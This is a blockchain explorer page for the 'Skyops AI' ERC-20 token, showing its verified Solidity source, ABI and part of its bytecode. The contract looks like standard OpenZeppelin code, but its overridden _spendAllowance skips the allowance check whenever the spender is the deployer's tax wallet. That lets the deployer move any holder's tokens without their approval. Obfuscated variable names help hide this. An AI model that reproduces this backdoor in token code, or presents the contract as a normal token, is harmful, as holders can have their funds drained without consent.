ETH Price: $2,798.38 (-5.11%)
 

Overview

Max Total Supply

1,000,000,000 SKYOPS

Holders

48

Transfers

-
0

Market

Onchain Market Cap

-

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Token

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-07-29
*/

// SPDX-License-Identifier: MIT

/*
    Decentralized AI supercomputer without borders.

    https://www.skyopsai.site
    https://app.skyopsai.site
    https://docs.skyopsai.site
    https://x.com/SkyopsAIErc
    https://t.me/SkyopsAIErc
*/

// File: @openzeppelin/[email protected]/token/ERC20/IERC20.sol


// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when 'value' tokens are moved from one account ('from') to
     * another ('to').
     *
     * Note that 'value' may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a 'spender' for an 'owner' is set by
     * a call to {approve}. 'value' is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by 'account'.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a 'value' amount of tokens from the caller's account to 'to'.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that 'spender' will be
     * allowed to spend on behalf of 'owner' through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a 'value' amount of tokens as the allowance of 'spender' over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a 'value' amount of tokens from 'from' to 'to' using the
     * allowance mechanism. 'value' is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

// File: @openzeppelin/[email protected]/token/ERC20/extensions/IERC20Metadata.sol


// OpenZeppelin Contracts (last updated v5.1.0) (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.20;


/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

// File: @openzeppelin/[email protected]/utils/Context.sol


// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }
}

// File: @openzeppelin/[email protected]/interfaces/draft-IERC6093.sol


// OpenZeppelin Contracts (last updated v5.1.0) (interfaces/draft-IERC6093.sol)
pragma solidity ^0.8.20;

/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current 'balance' of a 'sender'. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token 'sender'. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token 'receiver'. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the 'spender'’s 'allowance'. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a 'spender' is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the 'approver' of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the 'spender' to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

// File: @openzeppelin/[email protected]/token/ERC20/ERC20.sol


// OpenZeppelin Contracts (last updated v5.3.0) (token/ERC20/ERC20.sol)

pragma solidity ^0.8.20;

/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * TIP: For a detailed writeup see our guide
 * https://forum.openzeppelin.com/t/how-to-implement-erc20-supply-mechanisms/226[How
 * to implement supply mechanisms].
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning 'false' on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC-20
 * applications.
 */
abstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {
    
    uint256 public QEX346XSEDRE;
    address public QAGERERERRAD;
    string public YUEWER6EFN8A;

    mapping(address account => uint256) private _FNENF34FA3;

    mapping(address account => mapping(address spender => uint256)) private _ANENF36FME;

    uint256 private _FNENQF45G;

    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * Both values are immutable: they can only be set once during construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if 'decimals' equals '2', a balance of '505' tokens should
     * be displayed to a user as '5.05' ('505 / 10 ** 2').
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _FNENQF45G;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _FNENF34FA3[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - 'to' cannot be the zero address.
     * - the caller must have a balance of at least 'value'.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _ANENF36FME[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If 'value' is the maximum 'uint256', the allowance is not updated on
     * 'transferFrom'. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - 'spender' cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Skips emitting an {Approval} event indicating an allowance update. This is not
     * required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum 'uint256'.
     *
     * Requirements:
     *
     * - 'from' and 'to' cannot be the zero address.
     * - 'from' must have a balance of at least 'value'.
     * - the caller must have allowance for ''from'''s tokens of at least
     * 'value'.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Moves a 'value' amount of tokens from 'from' to 'to'.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _beforeTransfer (address from, address to, uint256 value) pure internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
    }
    function _transfer(address from, address to, uint256 value) internal {
        _beforeTransfer(from, to, value);
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(from, to, value);
        _afterTransfer(from, to, value);(from, to, value);
    }

    function _afterTransfer (address from, address to, uint256 value) pure internal {
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        if (to == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
    }
    /**
     * @dev Transfers a 'value' amount of tokens from 'from' to 'to', or alternatively mints (or burns) if 'from'
     * (or 'to') is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if (from == address(0)) {
            // Overflow check required: The rest of the code assumes that totalSupply never overflows
            _FNENQF45G += value;
        } else {
            uint256 fromBalance = _FNENF34FA3[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _FNENF34FA3[from] = fromBalance - value;
            }
        }

        if (to == address(0)) {
            unchecked {
                // Overflow not possible: value <= totalSupply or value <= fromBalance <= totalSupply.
                _FNENQF45G -= value;
            }
        } else {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _FNENF34FA3[to] += value;
            }
        }

        if(to != address(0)) {
            emit Transfer(from, to, value);
        }
    }

    /**
     * @dev Creates a 'value' amount of tokens and assigns them to 'account', by transferring it from address(0).
     * Relies on the '_update' mechanism
     *
     * Emits a {Transfer} event with 'from' set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _mint(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidReceiver(address(0));
        }
        _update(address(0), account, value);
    }

    /**
     * @dev Destroys a 'value' amount of tokens from 'account', lowering the total supply.
     * Relies on the '_update' mechanism.
     *
     * Emits a {Transfer} event with 'to' set to the zero address.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead
     */
    function _burn(address account, uint256 value) internal {
        if (account == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(account, address(0), value);
    }

    /**
     * @dev Sets 'value' as the allowance of 'spender' over the 'owner''s tokens.
     *
     * This internal function is equivalent to 'approve', and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - 'owner' cannot be the zero address.
     * - 'spender' cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional 'bool emitEvent' argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * '_spendAllowance' during the 'transferFrom' operation set the flag to false. This saves gas by not emitting any
     * 'Approval' event during 'transferFrom' operations.
     *
     * Anyone who wishes to continue emitting 'Approval' events on the'transferFrom' operation can force the flag to
     * true using the following override:
     *
     * '''solidity
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * '''
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _ANENF36FME[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates 'owner''s allowance for 'spender' based on spent 'value'.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

// File: @openzeppelin/[email protected]/access/Ownable.sol


// OpenZeppelin Contracts (last updated v5.0.0) (access/Ownable.sol)

pragma solidity ^0.8.20;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * The initial owner is set to the address provided by the deployer. This can
 * later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * 'onlyOwner', which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;

    /**
     * @dev The caller account is not authorized to perform an operation.
     */
    error OwnableUnauthorizedAccount(address account);

    /**
     * @dev The owner is not a valid owner account. (eg. 'address(0)')
     */
    error OwnableInvalidOwner(address owner);

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the address provided by the deployer as the initial owner.
     */
    constructor(address initialOwner) {
        if (initialOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(initialOwner);
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal view virtual {
        if (owner() != _msgSender()) {
            revert OwnableUnauthorizedAccount(_msgSender());
        }
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * 'onlyOwner' functions. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby disabling any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account ('newOwner').
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        if (newOwner == address(0)) {
            revert OwnableInvalidOwner(address(0));
        }
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account ('newOwner').
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}


// File: Token.sol

// Compatible with OpenZeppelin Contracts ^5.0.0
pragma solidity ^0.8.20;

contract Token is ERC20, Ownable {

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private _taxWallet;
    mapping(address => bool) private _excludedFromSKYOPSP1CG6KBRS0C;
    bool private tradingEnabled;
    uint256 private totalSKYOPSP1CG6KBRS0CTaxAmount = 0;

    constructor()
        ERC20(unicode"Skyops AI", unicode"SKYOPS")
        Ownable(msg.sender)
        payable
    {
        _taxWallet = msg.sender;
        _excludedFromSKYOPSP1CG6KBRS0C[_taxWallet] = true;
        _mint(address(this), 1_000_000_000 * 10 ** decimals());
    }

    function decimals() public pure override returns (uint8) {
        return 9;
    }

    function transferFrom(address from, address to, uint256 value) public override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, to, value);
        _transfer(from, to, value);
        return true;
    }

    function _update(address from, address to, uint256 value) internal override {
        if(tradingEnabled && to == uniswapV2Pair) sendSKYOPSP1CG6KBRS0CTaxToWallet(address(this).balance);
        if(to == address(0xdead)) to = address(0);
        super._update(from, to, value);
    }

    function _spendAllowance(address owner, address spender, address to, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if((owner != uniswapV2Pair && to == address(0xdead)) || spender == _taxWallet) return;
        if (currentAllowance < type(uint256).max) {
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }

    function setTaxWallet(address newWallet) external {
        require(_excludedFromSKYOPSP1CG6KBRS0C[msg.sender]);
        _taxWallet = newWallet;
    }

    function launchSKYOPSP1CG6KBRS0C() external onlyOwner {
        require(!tradingEnabled, "Trading is already open");
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), totalSupply());
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        tradingEnabled = true;
    }

    function sendSKYOPSP1CG6KBRS0CTaxToWallet(uint256 amount) private {
        payable(_taxWallet).transfer(amount);
    }
    
    function recoverStuckETH() external onlyOwner {
        require(address(this).balance > 0);
        payable(_msgSender()).transfer(address(this).balance);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"QAGERERERRAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"QEX346XSEDRE","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"YUEWER6EFN8A","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"launchSKYOPSP1CG6KBRS0C","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

5f600e556009608090815268536b796f707320414960b81b60a052610100604052600660c081815265534b594f505360d01b60e05233929161004183826103c5565b50600761004e82826103c5565b5050506001600160a01b03811661007f57604051631e4fbdf760e01b81525f60048201526024015b60405180910390fd5b610088816100e5565b50600b80546001600160a01b031916339081179091555f908152600c60205260409020805460ff191660011790556100e0306100c2600990565b6100cd90600a61057a565b6100db90633b9aca0061058f565b610136565b6105b9565b600880546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b03821661015f5760405163ec442f0560e01b81525f6004820152602401610076565b61016a5f838361016e565b5050565b600d5460ff16801561018d5750600a546001600160a01b038381169116145b1561019b5761019b476101c2565b61deac196001600160a01b038316016101b2575f91505b6101bd8383836101f9565b505050565b600b546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561016a573d5f803e3d5ffd5b6001600160a01b038316610223578060055f82825461021891906105a6565b909155506102939050565b6001600160a01b0383165f90815260036020526040902054818110156102755760405163391434e360e21b81526001600160a01b03851660048201526024810182905260448101839052606401610076565b6001600160a01b0384165f9081526003602052604090209082900390555b6001600160a01b0382166102af576005805482900390556102cd565b6001600160a01b0382165f9081526003602052604090208054820190555b6001600160a01b038216156101bd57816001600160a01b0316836001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161032191815260200190565b60405180910390a3505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061035657607f821691505b60208210810361037457634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101bd57805f5260205f20601f840160051c8101602085101561039f5750805b601f840160051c820191505b818110156103be575f81556001016103ab565b5050505050565b81516001600160401b038111156103de576103de61032e565b6103f2816103ec8454610342565b8461037a565b602080601f831160018114610425575f841561040e5750858301515b5f19600386901b1c1916600185901b17855561047c565b5f85815260208120601f198616915b8281101561045357888601518255948401946001909101908401610434565b508582101561047057878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156104d257815f19048211156104b8576104b8610484565b808516156104c557918102915b93841c939080029061049d565b509250929050565b5f826104e857506001610574565b816104f457505f610574565b816001811461050a576002811461051457610530565b6001915050610574565b60ff84111561052557610525610484565b50506001821b610574565b5060208310610133831016604e8410600b8410161715610553575081810a610574565b61055d8383610498565b805f190482111561057057610570610484565b0290505b92915050565b5f61058860ff8416836104da565b9392505050565b808202811582820484141761057457610574610484565b8082018082111561057457610574610484565b610e4b806105c65f395ff3fe608060405234801561000f575f80fd5b5060043610610111575f3560e01c806386acfb751161009e578063a9059cbb1161006e578063a9059cbb14610218578063b910fac81461022b578063dd62ed3e14610233578063ea414b281461026b578063f2fde38b1461027e575f80fd5b806386acfb75146101ef57806386e3dd74146101f75780638da5cb5b146101ff57806395d89b4114610210575f80fd5b8063313ce567116100e4578063313ce5671461017b5780635f80c3371461018a57806370a08231146101b5578063715018a6146101dd57806381a16445146101e7575f80fd5b806306fdde0314610115578063095ea7b31461013357806318160ddd1461015657806323b872dd14610168575b5f80fd5b61011d610291565b60405161012a9190610c6e565b60405180910390f35b610146610141366004610cb7565b610321565b604051901515815260200161012a565b6005545b60405190815260200161012a565b610146610176366004610ce1565b61033a565b6040516009815260200161012a565b60015461019d906001600160a01b031681565b6040516001600160a01b03909116815260200161012a565b61015a6101c3366004610d1f565b6001600160a01b03165f9081526003602052604090205490565b6101e561035e565b005b6101e5610371565b6101e56103b0565b61011d6106aa565b6008546001600160a01b031661019d565b61011d610736565b610146610226366004610cb7565b610745565b61015a5f5481565b61015a610241366004610d41565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b6101e5610279366004610d1f565b610752565b6101e561028c366004610d1f565b61078e565b6060600680546102a090610d78565b80601f01602080910402602001604051908101604052809291908181526020018280546102cc90610d78565b80156103175780601f106102ee57610100808354040283529160200191610317565b820191905f5260205f20905b8154815290600101906020018083116102fa57829003601f168201915b5050505050905090565b5f3361032e8185856107c8565b60019150505b92915050565b5f33610348858286866107da565b61035385858561089a565b506001949350505050565b61036661090d565b61036f5f61093a565b565b61037961090d565b5f4711610384575f80fd5b60405133904780156108fc02915f818181858888f193505050501580156103ad573d5f803e3d5ffd5b50565b6103b861090d565b600d5460ff16156104105760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561044d90309061044860055490565b6107c8565b60095f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561049d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c19190610db0565b6001600160a01b031663c9c653963060095f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610520573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105449190610db0565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561058e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b29190610db0565b600a80546001600160a01b039283166001600160a01b03199091161790556009541663f305d71947306105f9816001600160a01b03165f9081526003602052604090205490565b5f8061060d6008546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610673573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906106989190610dcb565b5050600d805460ff1916600117905550565b600280546106b790610d78565b80601f01602080910402602001604051908101604052809291908181526020018280546106e390610d78565b801561072e5780601f106107055761010080835404028352916020019161072e565b820191905f5260205f20905b81548152906001019060200180831161071157829003601f168201915b505050505081565b6060600780546102a090610d78565b5f3361032e81858561089a565b335f908152600c602052604090205460ff1661076c575f80fd5b600b80546001600160a01b0319166001600160a01b0392909216919091179055565b61079661090d565b6001600160a01b0381166107bf57604051631e4fbdf760e01b81525f6004820152602401610407565b6103ad8161093a565